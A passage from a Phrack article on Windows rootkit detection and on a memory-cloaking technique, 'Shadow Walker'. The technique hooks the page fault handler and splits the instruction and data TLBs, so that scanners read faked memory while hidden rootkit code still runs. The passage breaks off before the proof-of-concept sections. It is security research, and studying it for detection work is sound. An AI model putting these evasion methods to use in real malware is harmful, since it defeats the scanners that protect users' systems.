==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14


|=-------------------------=[ Shadow Walker ]=---------------------------=|
|=--------=[ Raising The Bar For Windows Rootkit Detection ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=---------=|
|=---------=[ Jamie Butler <james.butler at hbgary dot com >  ]=---------=|
      
0 - Introduction & Background On Rootkit Technology                        
  0.1 - Motivations                                                        
      
1 - Rootkit Detection                                                      
  1.1 - Detecting The Effect Of A Rootkit (Heuristics)                     
  1.2 - Detecting The Rootkit Itself (Signatures)                          
      
2 - Memory Architecture Review                                             
  2.1 - Virtual Memory - Paging vs. Segmentation                           
  2.2 - Page Tables & PTE's                                                
  2.3 - Virtual to Physical Address Translation                            
  2.4 - The Role of the Page Fault Handler                                 
  2.5 - The Paging Performance Problem & the TLB                           
      
3 - Memory Cloaking Concept                                                
  3.1 - Hiding Executable Code                                             
  3.2 - Hiding Pure Data                                                   
  3.3 - Related Work                                                       
  3.4 - Proof of Concept Implementation                                    
      3.4.a - Modified FU Rootkit                                          
      3.4.b - Shadow Walker Memory Hook Engine                             
                                   
4 - Known Limitations & Performance Impact
                                  
5 - Detection
     
6 - Conclusion                                                             
      
7 - References 

8 - Acknowlegements                                           
      
--[ 0 - Introduction & Background                                          

Rootkits have historically demonstrated a co-evolutionary adaptation and   
response to the development of defensive technologies designed to
apprehend their subversive agenda.  If we trace the evolution of rootkit 
technology, this pattern is evident.  First generation rootkits were 
primitive.  They  simply replaced / modified key system files on the 
victim's system.  The UNIX login program was a common target and involved
an attacker replacing the original binary with a maliciously enhanced 
version that logged user passwords.  Because these early rootkit 
modifications were limited to system files on disk, they motivated the 
development of file system integrity checkers such as Tripwire [1].        
          
In response, rootkit developers moved their modifications off disk to the  
memory images of the loaded programs and, again, evaded detection. These   
'second' generation rootkits were primarily based upon hooking techniques
that altered the execution path by making memory patches to loaded         
applications and some operating system components such as the system call  
table. Although much stealthier, such modifications remained detectable by 
searching for heuristic abnormalities. For example, it is suspicious for   
the system service table to contain pointers that do not point to the      
operating system kernel. This is the technique used by VICE [2].           

Third generation kernel rootkit techniques like Direct Kernel Object       
Manipulation (DKOM), which was implemented in the FU rootkit [3], 
capitalize on the weaknesses of current detection software by modifying 
dynamically changing kernel data structures for which it is impossible to 
establish a static trusted baseline.
      
----[ 0.1 - Motivations
                                                    
There are public rootkits which illustrate all of these various techniques,
but even the most sophisticated Windows kernel rootkits, like FU, possess  
an inherent flaw. They subvert essentially all of the operating system's   
subsystems with one exception: memory management. Kernel rootkits can      
control the execution path of kernel code, alter kernel data, and fake     
system call return values, but they have not (yet) demonstrated the        
capability to 'hook' or fake the contents of memory seen by other running  
applications.  In other words, public kernel rootkits are sitting ducks for
in memory signature scans.  Only now are security companies beginning to 
think of implementing memory signature scans.                              
                                                                           
Hiding from memory scans is similar to the problem faced by early viruses 
attempting to hide on the file system. Virus writers reacted to anti-virus 
programs scanning the file system by developing polymorphic and metamorphic
techniques to evade detection.  Polymorphism attempts to alter the binary  
image of a virus by replacing blocks of code with functionally equivalent  
blocks that appear different (i.e. use different opcodes to perform the    
same task).  Polymorphic code, therefore, alters the superficial appearance
of a block of code, but it does not fundamentally alter a scanner's view of
that region of system memory.                                              
                                                                           
Traditionally, there have been three general approaches to malicious code  
detection: misuse detection, which relies upon known code signatures,      
anomaly detection, which relies upon heuristics and statistical deviations 
from 'normal' behavior, and integrity checking which relies upon comparing 
current snapshots of the file system or memory with a known, trusted       
baseline.  A polymorphic rootkit (or virus) effectively evades signature   
based detection of its code body, but falls short in anomaly or integrity  
detection schemes because it cannot easily camouflage the changes it makes 
to existing binary code in other system components.                        
                                                                           
Now imagine a rootkit that makes no effort to change its superficial       
appearance, yet is capable of fundamentally altering a detectors view of an
arbitrary region of memory. When the detector attempts to read any region  
of memory modified by the rootkit, it sees a 'normal', unaltered view of   
memory. Only the rootkit sees the true, altered view of memory. Such a     
rootkit is clearly capable of compromising all of the primary detection    
methodologies to varying degrees.  The implications to misuse detection are
obvious. A scanner attempts to read the memory for the loaded rootkit      
driver looking for a code signature and the rootkit simply returns a       
random, 'fake' view of memory (i.e. which does not include its own code) to
the scanner.  There are also implications for integrity validation         
approaches to detection.  In these cases, the rootkit returns the unaltered
view of memory to all processes other than itself.  The integrity checker  
sees the unaltered code, finds a matching CRC or hash, and (erroneously)   
assumes that all is well.  Finally, any anomaly detection methods which    
rely upon identifying deviant structural characteristics will be fooled    
since they will receive a 'normal' view of the code. An example of this    
might be a scanner like VICE which attempts to heuristically identify      
inline function hooks by the presence of a direct jump at the beginning of 
the function body.                                                         

Current rootkits, with the exception of Hacker Defender [4], have made 
little or no effort to introduce viral polymorphism techniques.  As stated 
previously, while a valuable technique, polymorphism is not a comprehensive
solution to the problem for a rootkit because the rootkit cannot easily    
camouflage the changes it must make to existing code in order to install   
its hooks.  Our objective, therefore, is to show proof of concept that the 
current architecture permits subversion of memory management such that a   
non polymorphic kernel mode rootkit (or virus) is capable of controlling   
the view of memory regions seen by the operating system and other processes
with a minimal performance hit. The end result is that it is possible to   
hide a 'known' public rootkit driver (for which a code signature exists)   
from detection.  To this end, we have designed an 'enhanced' version of the
FU rootkit. In section 1, we discuss the basic techniques used to detect a 
rootkit. In section 2, we give a background summary of the x86 memory      
architecture.  Section 3 outlines the concept of memory cloaking and proof 
of concept implementation for our enhanced rootkit.  Finally, we           
conclude with a discussion of its detectability, limitations, future       
extensibility, and performance impact.  Without further ado, we bid you    
welcome to 4th generation rootkit technology.                              
      
--[ 1 - Rootkit Detection                                                  
      
Until several months ago, rootkit detection was largely ignored by security
vendors. Many mistakenly classified rootkits in the same category as other 
viruses and malware. Because of this, security companies continued to use  
the same detection methods the most prominent one being signature scans on 
the file system. This is only partially effective. Once a rootkit is loaded
in memory is can delete itself on disk, hide its files, or even divert an  
attempt to open the rootkit file. In this section, we will examine more    
recent advances in rootkit detection.                                      
      
----[ 1.2 - Detecting The Effect Of A Rootkit (Heuristics)                 
      
One method to detect the presence of a rootkit is to detect how it alters  
other parameters on the computer system. In this way, the effects of the   
rootkit are seen although the actual rootkit that caused the deviation may 
not be known. This solution is a more general approach since no signature  
for a particular rootkit is necessary. This technique is also looking for  
the rootkit in memory and not on the file system.                          
      
One effect of a rootkit is that it usually alters the execution path of a  
normal program. By inserting itself in the middle of a program's execution,
the rootkit can act as a middle man between the kernel functions the       
program relies upon and the program. With this position of power, the      
rootkit can alter what the program sees and does. For example, the rootkit 
could return a handle to a log file that is different from the one the     
program intended to open, or the rootkit could change the destination of   
network communication. These rootkit patches or hooks cause extra          
instructions to be executed. When a patched function is compared to a      
normal function, the difference in the number of instructions executed can
be indicative of a rootkit. This is the technique used by PatchFinder [5]. 
One of the drawbacks of PatchFinder is that the CPU must be put into single
step mode in order to count instructions. So for every instruction executed
an interrupt is fired and must be handled. This slows the performance of   
the system, which may be unacceptable on a production machine. Also, the   
actual number of instructions executed can vary even on a clean system.    
Another rootkit detection tool called VICE detects the presence of hooks in
applications and in the kernel . VICE analyzes the addresses of the        
functions exported by the operating system looking for hooks. The exported 
functions are typically the target of rootkits because by filtering certain
APIs rootkits can hide. By finding the hooks themselves, VICE avoids the   
problems associated with instruction counting. However, VICE also relies   
upon several APIs so it is possible for a rootkit to defeat its hook
detection [6]. Currently the biggest weakness of VICE is that it detects 
all hooks both malicious and benign. Hooking is a legitimate technique used
by many security products.                                                 
      
Another approach to detecting the effects of a rootkit is to identify the  
operating system lying. The operating system exposes a well-known API in   
order for applications to interact with it. When the rootkit alters the    
results of a particular API, it is a lie. For example, Windows Explorer may
request the number of files in a directory using several functions in the  
Win32 API. If the rootkit changes the number of files that the application 
can see, it is a lie. To detect the lie, a rootkit detector needs at least 
two ways to obtain the same information. Then, both results can be
compared. RootkitRevealer [7] uses this technique. It calls the highest 
level APIs and compares those results with the results of the lowest level 
APIs. This method can be bypassed by a rootkit if it also hooks at those 
lowest layers. RootkitRevealer also does not address data alterations. The 
FU rootkit alters the kernel data structures in order to hide its 
processes. RootkitRevealer does not detect this because both the higher and
lower layer APIs return the same altered data set. Blacklight from F-Secure
[8] also tries to detect deviations from the truth. To detect hidden 
processes, it relies on an undocumented kernel structure. Just as FU walks 
the linked list of processes to hide, Blacklight walks a linked list of 
handle tables in the kernel. Every process has a handle table; therefore, 
by identifying all the handle tables Blacklight can find a pointer to every
process on the computer. FU has been updated to also unhook the hidden 
process from the linked list of handle tables. This arms race will 
continue.                
      
----[ 1.2 - Detecting the Rootkit Itself (Signatures)                      
      
Anti-virus companies have shown that scanning file systems for signatures
can be effective; however, it can be subverted. If the attacker camouflages
the binary by using a packing routine, the signature may no longer match   
the rootkit. A signature of the rootkit as it will execute in memory is one
way to solve this problem. Some host based intrusion prevention systems    
(HIPS) try to prevent the rootkit from loading. However, it is extremely   
difficult to block all the ways code can be loaded in the kernel . Recent  
papers by Jack Barnaby [9] and Chong [10] have highlighted the threat of 
kernel exploits, which will allow arbitrary code to be loaded into memory 
and executed.                                                              
      
Although file system scans and loading detection are needed, perhaps the   
last layer of detection is scanning memory itself. This provides an added  
layer of security if the rootkit has bypassed the previous checks. Memory  
signatures are more reliable because the rootkit must unpack or unencrypt  
in order to execute. Not only can scanning memory be used to find a        
rootkit, it can be used to verify the integrity of the kernel itself since 
it has a known signature. Scanning kernel memory is also much faster than
scanning everything on disk. Arbaugh et. al. [11] have taken this technique
to the next level by implementing the scanner on a separate card with its 
own CPU. 

The next section will explain the memory architecture on Intel x86.   
      
--[ 2 - Memory Architecture Review                                         
      
In early computing history, programmers were constrained by the amount of  
physical memory contained in a system.  If a program was too large to fit  
into memory, it was the programmer's responsibility to divide the program  
into pieces that could be loaded and unloaded on demand. These pieces were 
called overlays.  Forcing this type of memory management upon user level   
programmers increased code complexity and programming errors while reducing
efficiency.  Virtual memory was invented to relieve programmers of these   
burdens.                                                                   
      
----[ 2.1 - Virtual Memory - Paging vs. Segmentation                       
      
Virtual memory is based upon the separation of the virtual and physical    
address spaces. The size of the virtual address space is primarily a       
function of the width of the address bus whereas the size of the physical  
address space is dependent upon the quantity of RAM installed in the       
system. Thus, a system possessing a 32 bit bus is capable of addressing    
2^32 (or ~4 GB) physical bytes of contiguous memory. It may, however, not  
have anywhere near that quantity of RAM installed. If this is the case,    
then the virtual address space will be larger than the physical address    
space. Virtual memory divides both the virtual and physical address spaces 
into fixed size blocks. If these blocks are all the same size, the system  
is said to use a paging memory model. If the blocks are varying sizes, it  
is considered to be a segmentation model. The x86 architecture is in fact a
hybrid, utlizing both segementation and paging, however, this article      
focuses primarily upon exploitation of its paging mechanism.               
      
Under a paging model, blocks of virtual memory are referred to as pages and
blocks of physical memory are referred to as frames. Each virtual page maps
to a designated physical frame. This is what enables the virtual address   
space seen by programs to be larger than the amount of physically          
addressable memory (i.e. there may be more pages than physical frames). It 
also means that virtually contiguous pages do not have to be physically    
contiguous. These points are illustrated by Figure 1.                      
      
   VIRTUAL ADDRESS                      PHYSICAL ADDRESS                   
        SPACE                                SPACE                         
   /-------------\                      /-------------\                    
   |             |                      |             |                    
   |   PAGE 01   |---\   /----------->>>|  FRAME 01   |                    
   |             |   |   |              |             |                    
   ---------------   |   |              ---------------                    
   |             |   |   |              |             |                    
   |   PAGE 02   |------------------->>>|  FRAME 02   |                    
   |             |   |   |              |             |                    
   ---------------   |   |              ---------------                    
   |             |   |   |              |             |                    
   |   PAGE 03   |   \---|----------->>>|  FRAME 03   |                    
   |             |       |              |             |                    
   ---------------       |              \-------------/                    
   |             |       |                                                 
   |   PAGE 04   |       |                                                 
   |             |       |                                                 
   |-------------|       |                                                 
   |             |       |                                                 
   |   PAGE 05   |-------/                                                 
   |             |                                                         
   \-------------/                                                         
      
   [ Figure 1 - Virtual To Physical Memory Mapping (Paging)         ]      
   [                                                                ]      
   [ NOTE: 1. Virtual & physical address spaces are divided into    ]      
   [ fixed size blocks. 2. The virtual address space may be larger  ]      
   [ than the physical address space. 3. Virtually contiguous       ]      
   [ blocks to not have to be mapped to physically contiguous       ]      
   [ frames.                                                        ]      
      
----[ 2.2 - Page Tables & PTE's
      
The mapping information that connects a virtual address with its physical  
frame is stored in page tables in structures known as PTE's. PTE's also    
store status information. Status bits may indicate, for example, weather or
not a page is valid (physically present in memory versus stored on disk),  
if it is writable, or if it is a user / supervisor page. Figure 2 shows the
format for an x86 PTE.                                                     
      
   Valid          <------------------------------------------------\       
   Read/Write     <--------------------------------------------\   |       
   Privilege      <----------------------------------------\   |   |       
   Write Through  <------------------------------------\   |   |   |       
   Cache Disabled <--------------------------------\   |   |   |   |       
   Accessed       <---------------------------\    |   |   |   |   |       
   Dirty          <-----------------------\   |    |   |   |   |   |       
   Reserved       <-------------------\   |   |    |   |   |   |   |       
   Global         <---------------\   |   |   |    |   |   |   |   |       
   Reserved       <----------\    |   |   |   |    |   |   |   |   |       
   Reserved       <-----\    |    |   |   |   |    |   |   |   |   |       
   Reserved       <-\   |    |    |   |   |   |    |   |   |   |   |       
                    |   |    |    |   |   |   |    |   |   |   |   |       
   +----------------+---+----+----+---+---+---+----+---+---+---+---+-+     
   |              |   |   |    |    |   |   |   |    |   | U | R |   |     
   | PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V |     
   |              |   |   |    |    |   |   |   |    |   | S | W |   |     
   +-----------------------------------------------------------------+     
      
   [ Figure 2 - x86 PTE FORMAT (4 KBYTE PAGE) ]                            
      
      
----[ 2.4 - Virtual To Physical Address Translation                        
      
Virtual addresses encode the information necessary to find their PTE's in  
the page table. They are divided into 2 basic parts: the virtual page      
number and the byte index.  The virtual page number provides the index into
the page table while the byte index provides an offset into the physical   
frame. When a memory reference occurs, the PTE for the page is looked up in
the page table by adding the page table base address to the virtual page   
number * PTE entry size. The base address of the page in physical memory is
then extracted from the PTE and combined with the byte offset to define the
physical memory address that is sent to the memory unit.  If the virtual   
address space is particularly large and the page size relatively small, it 
stands to reason that it will require a large page table to hold all of the
mapping information. And as the page table must remain resident in main    
memory, a large table can be costly. One solution to this dilemma is to use
a multi-level paging scheme.  A two-level paging scheme, in effect, pages  
the page table. It further subdivides the virtual page number into a page  
directory and a page table index. The page directory is simply a table of  
pointers to page tables. This two level paging scheme is the one supported 
by the x86. Figure 3 illustrates how the virtual address is divided up to  
index the page directory and page tables and Figure 4 illustrates the      
process of address translation.                                            
      
   +---------------------------------------+                               
   | 31                                 12 |                 0             
   | +----------------+ +----------------+ | +---------------+             
   | | PAGE DIRECTORY | |   PAGE TABLE   | | |  BYTE INDEX   |             
   | |     INDEX      | |     INDEX      | | |               |             
   | +----------------+ +----------------+ | +---------------+             
   |       10 bits            10 bits      |      12 bits                  
   |                                       |                               
   |         VIRTUAL PAGE NUMBER           |                               
   +---------------------------------------+                               
      
   [ Figure 3 - x86 Address & Page Table Indexing Scheme ]                 
      
        
     +--------+                                                            
   /-|KPROCESS|                                                            
   | +--------+                                                            
   |               Virtual Address                                         
   | +------------------------------------------+                          
   | | Page Directory | Page Table | Byte Index |                          
   | |     Index      |   Index    |            |                          
   | +-+-------------------+-------------+------+                          
   |   | +---+             |             |                                 
   |   | |CR3| Physical    |             |                                 
   |   | +---+ Address Of  |             |                                 
   |   |       Page Dir    |             |                                 
   |   |                   |             \------ -\                        
   |   |                   |                      |                       
   |   |  Page Directory   |       Page Table     |     Physical Memory    
   \---|->+------------+   | /-->+------------+   \---->+------------+     
       |  |            |   | |   |            |         |            |     
       |  |            |   | |   |            |         |            |     
       |  |            |   | |   |            |         |------------|     
       |  |            |   | |   |            |         |            |     
       |  |------------|   | |   |            |         |   Page     |     
       \->|    PDN     |---|-/   |            |         |   Frame    |     
          |------------|   |     |            |      /---->          |     
          |            |   |     |            |      |  |------------|     
          |            |   |     |            |      |  |            |     
          |            |   |     |            |      |  |            |     
          |            |   |     |            |      |  |            |     
          |            |   |     |------------|      |  |            |     
          |            |   \---->|    PFN     -------/  |            |     
          |            |         |------------|         |            |     
          +------------+         +------------+         +------------+     
          (1 per process)      (512 per processs)                          
      
   [ Figure 4 - x86 Address Translation ]                                
 
     
A memory access under a 2 level paging scheme potentially involves the     
following sequence of steps.                                               
      
1. Lookup of page directory entry (PDE).
   Page Directory Entry = Page Directory Base Address + sizeof(PDE) * Page 
   Directory Index (extracted from virtual address that caused the  memory 
   access)
   NOTE: Windows maps the page directory to virtual address 0xC0300000. 
   Base addresses for page directories are also located in KPROCESS blocks 
   and the register cr3 contains the physical address of the current 
   page directory.  
      
2. Lookup of page table entry.                                             
   Page Table Entry = Page Table Base Address + sizeof(PTE) * Page Table
   Index (extracted from virtual address that caused the memory access).   
   NOTE: Windows maps the page directory to virtual address 0xC0000000.
   The base physical address for the page table is also stored in the page 
   directory entry.                                                        
      
3. Lookup of physical address.                                             
   Physical Address = Contents of PTE + Byte Index                         
   NOTE: PTEs hold the physical address for the physical frame. This is 
   combined with the byte index (offset into the frame) to form the 
   complete physical address. For those who prefer code to explanation, the
   following two routines show how this translation occurs. The first 
   routine, GetPteAddress performs steps 1 and 2 described above. It 
   returns a pointer to the page table entry for a given virtual address. 
   The second routine returns the base physical address of the frame to 
   which the page is mapped.
      
#define PROCESS_PAGE_DIR_BASE                  0xC0300000
#define PROCESS_PAGE_TABLE_BASE                0xC0000000
typedef unsigned long* PPTE;
      
/**************************************************************************
* GetPteAddress - Returns a pointer to the page table entry corresponding  
*                 to a given memory address.                               
*     
* Parameters:
*       PVOID VirtualAddress - Address you wish to acquire a pointer to the
*                              page table entry for.                       
*     
* Return - Pointer to the page table entry for VirtualAddress or an error  
*          code.                                                           
*     
* Error Codes:                                                             
*       ERROR_PTE_NOT_PRESENT - The page table for the given virtual 
*                               address is not present in memory.          
*      ERROR_PAGE_NOT_PRESENT - The page containing the data for the       
*                               given virtual address is not present in    
*                               memory.                                    
**************************************************************************/
PPTE GetPteAddress( PVOID VirtualAddress )                                 
{     
        PPTE pPTE = 0;                                                     
        __asm                                                              
        {                                                                  
                cli                     //disable interrupts               
                pushad                                                     
                mov esi, PROCESS_PAGE_DIR_BASE                             
                mov edx, VirtualAddress                                    
                mov eax, edx                                               
                shr eax, 22                                                
                lea eax, [esi + eax*4]  //pointer to page directory entry  
                test [eax], 0x80        //is it a large page?              
                jnz Is_Large_Page       //it's a large page                
                mov esi, PROCESS_PAGE_TABLE_BASE                           
                shr edx, 12                                                
                lea eax, [esi + edx*4]  //pointer to page table entry (PTE)
                mov pPTE, eax                                              
                jmp Done                                                   
      
                //NOTE: There is not a page table for large pages because 
                //the phys frames are contained in the page directory.     
                Is_Large_Page:                                             
                mov pPTE, eax                                              
      
                Done:                                                      
                popad                                                      
                sti                    //reenable interrupts               
        }//end asm                                                         
      
        return pPTE;                                                       
      
}//end GetPteAddress                                                       
      
/**************************************************************************
* GetPhysicalFrameAddress - Gets the base physical address in memory where 
*                           the page is mapped. This corresponds to the    
*                           bits 12 - 32 in the page table entry.          
*     
* Parameters -                                                             
*       PPTE pPte - Pointer to the PTE that you wish to retrieve the 
*       physical address from.                                             
*     
* Return - The physical address of the page.                               
**************************************************************************/
ULONG GetPhysicalFrameAddress( PPTE pPte )                                 
{     
        ULONG Frame = 0;                                                   
      
        __asm                                                              
        {                                                                  
                cli                                                        
                pushad                                                     
                mov eax, pPte                                              
                mov ecx, [eax]                                             
                shr ecx, 12  //physical page frame consists of the         
                             //upper 20 bits
                mov Frame, ecx                                             
                popad                                                      
                sti                                                        
        }//end asm                                                         
        return Frame;                                                      
      
}//end GetPhysicalFrameAddress                                             
      
      
----[ 2.5 - The Role Of The Page Fault Handler                             
      
Since many processes only use a small portion of their virtual address     
space, only the used portions are mapped to physical frames. Also, because 
physical memory may be smaller than the virtual address space, the OS may  
move less recently used pages to disk (the pagefile) to satisfy current    
memory demands. Frame allocation is handled by the operating system. If a  
process is larger than the available quantity of physical memory, or the   
operating system runs out of free physical frames, some of the currently   
allocated frames must be swapped to disk to make room. These swapped out   
pages are stored in the page file. The information about whether or not a  
page is resident in main memory is stored in the page table entry. When a  
memory access occurs, if the page is not present in main memory a page     
fault is generated.  It is the job of the page fault handler to issue the  
I/O requests to swap out a less recently used page if all of the available 
physical frames are full and then to bring in the requested page from the  
pagefile.  When virtual memory is enabled, every memory access must be     
looked up in the page table to determine which physical frame it maps to   
and whether or not it is present in main memory. This incurs a substantial 
performance overhead, especially when the architecture is based upon a     
multi-level page table scheme like the Intel Pentium. The memory access    
page fault path can be summarized as follows.                              
      
1. Lookup in the page directory to determine if the page table for the     
   address is present in main memory.                                      
2. If not, an I/O request is issued to bring in the page table from disk.  
3. Lookup in the page table to determine if the requested page is present  
   in main memory.                                                         
4. If not, an I/O request is issued to bring in the page from disk.        
5. Lookup the requested byte (offset) in the page.                         
      
Therefore every memory access, in the best case, actually requires 3 memory
accesses : 1 to access the page directory, 1 to access the page table, and 
1 to get the data at the correct offset.  In the worst case, it may require
an additional 2 disk I/Os (if the pages are swapped out to disk). Thus, 
virtual memory incurs a steep performance hit.                             
      
----[ 2.6 - The Paging Performance Problem & The TLB                       
      
The translation lookaside buffer (TLB) was introduced to help mitigate this
problem. Basically, the TLB is a hardware cache which holds frequently used
virtual to physical mappings. Because the TLB is implemented using         
extremely fast associative memory, it can be searched for a translation    
much faster than it would take to look that translation up in the page     
tables.  On a memory access, the TLB is first searched for a valid 
translation. If the translation is found, it is termed a TLB hit. 
Otherwise, it is a miss.  A TLB hit, therefore, bypasses the slower page 
table lookup. Modern TLB's have an extremely high hit rate and        
therefore seldom incur miss penalty of looking up the translation in the   
page table.                                                                
               
--[ 3 - Memory Cloaking Concept                                            
      
One goal of an advanced rootkit is to hide its changes to executable code
(i.e. the placement of an inline patch, for example).  Obviously, it may
also wish to hide its own code from view.  Code, like data, sits in memory
and we may define the basic forms of memory access as:

  - EXECUTE
  - READ
  - WRITE

Technically speaking, we know that each virtual page maps to a physical    
page frame defined by a certain number of bits in the page table entry.    
What if we could filter memory accesses such that EXECUTE accesses mapped  
to a different physical frame than READ / WRITE accesses? From a rootkit's 
perspective, this would be highly advantageous.  Consider the case of an   
inline hook. The modified code would run normally, but any attempts to read
(i.e. detect) changes to the code would be diverted to a 'virgin' physical 
frame that contained a view of the original, unaltered code. Similarly, a  
rootkit driver might hide itself by diverting READ accesses within its     
memory range off to a page containing random garbage or to a page          
containing a view of code from another 'innocent' driver.  This would imply
that it is possible to spoof both signature scanners and integrity         
monitors.  Indeed, an architectural feature of the Pentium architecture    
makes it possible for a rootkit to perform this little trick with a minimal
impact on overall system performance.  We describe the details in the next 
section.                                                                   
      
----[ 3.1 - Hiding Executable Code                                         
      
Ironically, the general  methodology  we are about to discuss is an        
offensive extension of an existing stack overflow protection scheme known  
as PaX. We briefly discuss the PaX implementation in 3.3 under related    
work. 

In order to hide executable code, there are at least 3 underlying issues
which must be addressed:

1. We need a way to filter execute and read / write accesses.
2. We need a way to "fake" the read / write memory accesses
   when we detect them.
3. We need to ensure that performance is not adversly affected.

The first issue concerns how to filter execute accesses from read / write
accesses. When virtual memory is enabled, memory access restrictions are
enforced by setting bits in the page table entry which specify whether a
given page is read-only or read-write. Under the IA-32 architecture,
however, all pages are executable.  As such, there is no official way to
filter execute accesses from read / write accesses and thus enforce the 
execute-only / diverted read-write semantics necessary for this scheme 
to work.  We can, however, trap and filter memory accesses by marking their
PTE's non present and hooking the page fault handler.  In the page fault
handler we have access to the saved instruction pointer and the faulting
address. If the instruction pointer equals the faulting address, then it is
an execute access.  Otherwise, it is a read / write.  As the OS uses the
present bit in memory management, we also need to differentiate between
page faults due to our memory hook and normal page faults.  The simplest
way is to require that all hooked pages either reside in non paged memory
or be explicitly locked down via an API like MmProbeAndLockPages. 

The next issue concerns how to "fake" the EXECUTE and READ / WRITE accesses
when we detect them (and do so with a minimal performance hit). In this 
case, the Pentium TLB architecture comes to the rescue.  The pentium
possesses a split TLB with one TLB for instructions and the other for data.
As mentioned previously, the TLB caches the virtual to physical page frame 
mappings when virtual memory is enabled.  Normally, the ITLB and DTLB are  
synchronized and hold the same physical mapping for a given page. Though   
the TLB is primarily hardware controlled, there are several software       
mechanisms for manipulating it.                                            
      
  - Reloading cr3 causes all TLB entries except global entries to be 
    flushed. This typically occurs on a context switch.                    
  - The invlpg causes a specific TLB entry to be flushed.                  
  - Executing a data access instruction causes the DTLB to be loaded with
    the mapping for the data page that was accessed.                       
  - Executing a call causes the ITLB to be loaded with the mapping for the 
    page containing the code executed in response to the call.             
  
We can filter execute accesses from read / write accesses and fake them by 
desynchronizing the TLB's such that the ITLB holds a different virtual to  
physical mapping than the DTLB.  This process is performed as follows:

First, a new page fault handler is installed to handle the cloaked page
accesses.  Then the page-to-be-hooked is marked not present and it's 
TLB entry is flushed via the invlpg instruction. This ensures that all  
subsequent  accesses to the page will be filtered through the installed    
page fault handler.  Within the installed page fault handler, we determine 
whether a given memory access is due to an execute or read/write by 
comparing the saved instruction pointer with the faulting address.  If they
match, the memory access is due to an execute.  Otherwise, it is due to a 
read / write.  The type of access determines which mapping is manually 
loaded into the ITLB or DTLB.  Figure 5 provides a conceptual view  
of this strategy. 

Lastly, it is important to note that TLB access is much faster than                  
performing a page table lookup. In general, page faults are costly.
Therefore, at first glance, it might appear that marking the hidden pages  
not present would incur a significant performance hit. This is, in fact,
not the case. Though we mark the hidden pages not present, for most memory
accesses we do not incur the penalty of a page fault because the entries 
are cached in the TLB. The exceptions are, of course, the initial faults
that occur after marking the cloaked page not present and any subsequent
faults which result from cache line evictions when a TLB set becomes full.
Thus, the primary job of the new page fault handler is to explicitly and
selectively load the DTLB or ITLB with the correct mappings for hidden
pages. All faults originating on other pages are passed down to the
operating system page fault handler.    
   
   
                                                     +-------------+ 
                                        rootkit code |   FRAME 1   |  
      Is it a +-----------+           /------------->|             |       
       code   |           |           |              |-------------|       
      access? |   ITLB    |           |              |   FRAME 2   |       
      /------>|-----------|-----------/              |             |       
      |       |  VPN=12   |                          |-------------|       
      |       |  Frame=1  |                          |   FRAME 3   |       
      |       +-----------+                          |             |       
      |                           +-------------+    |-------------|       
   MEMORY                         | PAGE TABLES |    |   FRAME 4   |       
   ACCESS                         +-------------+    |             |       
   VPN=12                                            |-------------|       
      |                                              |   FRAME 5   |       
      |       +-----------+                          |             |       
      |       |           |                          |-------------|       
      |       |   DTLB    |           random garbage |   FRAME 6   |       
      |------>|------------------------------------->|             |       
      Is it a |  VPN=12   |                          |-------------|       
        data  |  Frame=6  |                          |   FRAME N   |       
      access? +-----------+                          |             |       
                                                     +-------------+       
   
   [ Figure 5 - Faking Read / Writes by Desynchronizing the Split TLB ]    
  
----[ 3.2 - Hiding Pure Data                                               
      
Hiding data modifications is significantly less optimal than hiding code   
modifications, but it can be accomplished provided that one is willing to  
accept the performance hit.  We cause a minimal performance loss when      
hiding executable code by virtue of the fact that the ITLB can maintain a  
different mapping than the DTLB. Code can execute very fast with a minimum 
of page faults because that mapping is always present in the ITLB (except  
in the rare event the ITLB entry gets evicted from the cache).             
Unfortunately, in the case of data we can't introduce any such             
inconsistency. There is only 1 DTLB and consequently that DTLB has to be   
kept empty if we are to catch and filter specific data accesses. The end   
result is 1 page fault per data access. This is not be a big problem in    
terms of hiding a specific driver if the driver is carefully designed and  
uses a minimum of global data, but the performance hit could be formidable 
when trying to hide a frequently accessed data page.

For data hiding, we have used a protocol based approach between the hidden 
driver and the memory hook. We use this to show how one might hide global
data in a rootkit driver.  In order to allow the memory access to go throug
the DTLB is loaded in the page fault handler.  In order to enforce the 
correct filtering of data accesses, however, it must be flushed immediately
by the requesting driver to ensure that no other code accesses that memory 
address and receives the data resulting from an incorrect mapping.         
The protocol for accessing data on a hidden page is as follows:          

1. The driver raises the IRQL to DISPATCH_LEVEL (to ensure that no other
   code gets to run which might see the "hidden" data as opposed to the    
   "fake" data).
                                                          
2. The driver must explicitly flush the TLB entry for the page containing  
   the cloaked variable using the invlpg instruction. In the event that    
   some other process has attempted to access our data page and been       
   served with the fake frame (i.e. we don't want to receive the fake  
   mapping which may still reside in the TLB so we clear it to be sure). 
                
3. The driver is allowed to perform the  data access.      
                
4. The driver must explicitly flush the TLB entry for the page containing  
   the cloaked variable using the invlpg instruction (i.e. so that the     
   "real" mapping does not remain in the TLB. We don't want any other      
   drivers or processes receiving the hidden mapping so we clear it).
    
5. The driver lowers the IRQL to the previous level before it was raised.  
                                                    
The additional restriction also applies:                                   
      
  - No global data can be passed to kernel API functions. When calling an
    API, global data must be copied into local storage on the stack and
    passed into the API function (i.e. if the API accesses the cloaked
    variable it will receive fake data and perform incorrectly).

This protocol can be efficiently implemented in the hidden driver by having
the driver copy all global data over into local variables at the beginning 
of the routine and then copy the data back after the function body has     
completed executing. Because stack data is in a constant state of flux, it 
is unlikely that a signature could be reliably obtained from  global data  
on the stack. In this way, there is no need to cause a page fault on every 
global access. In general, only one page fault is required to copy over the
data at the beginning of the routine and one fault to copy the data back at
the end of the routine. Admittedly, this disregards more complex issues    
involved with multithreaded access and synchronization. An alternative
approach to using a protocol between the driver and PF handler would
be to single step the instruction causing the memory access. This would
be less cumbersome for the driver and yet allow the PF handler to maintain
control of the DTLB (ie. to flush it after the data access so that it 
remains empty).
                   
----[ 3.3 - Related Work                                                   
      
Ironically, the memory cloaking technology discussed in this article is  
derived from an existing stack overflow protection scheme  known as PaX .  
As such, we demonstrate a potentially offensive application of an  
originally defensive technology. Though very similar (i.e. taking advantage
of the Pentium split TLB architecture), there are subtle differences       
between PaX and the rootkit application of the technology.  Whereas our    
memory cloaked rootkit enforces execute, diverted read / write semantics,  
PaX enforces read / write, no execute semantics.  This enables PaX to      
provide software support for a non executable stack under the IA-32        
architecture, thereby thwarting a large class of stack based buffer        
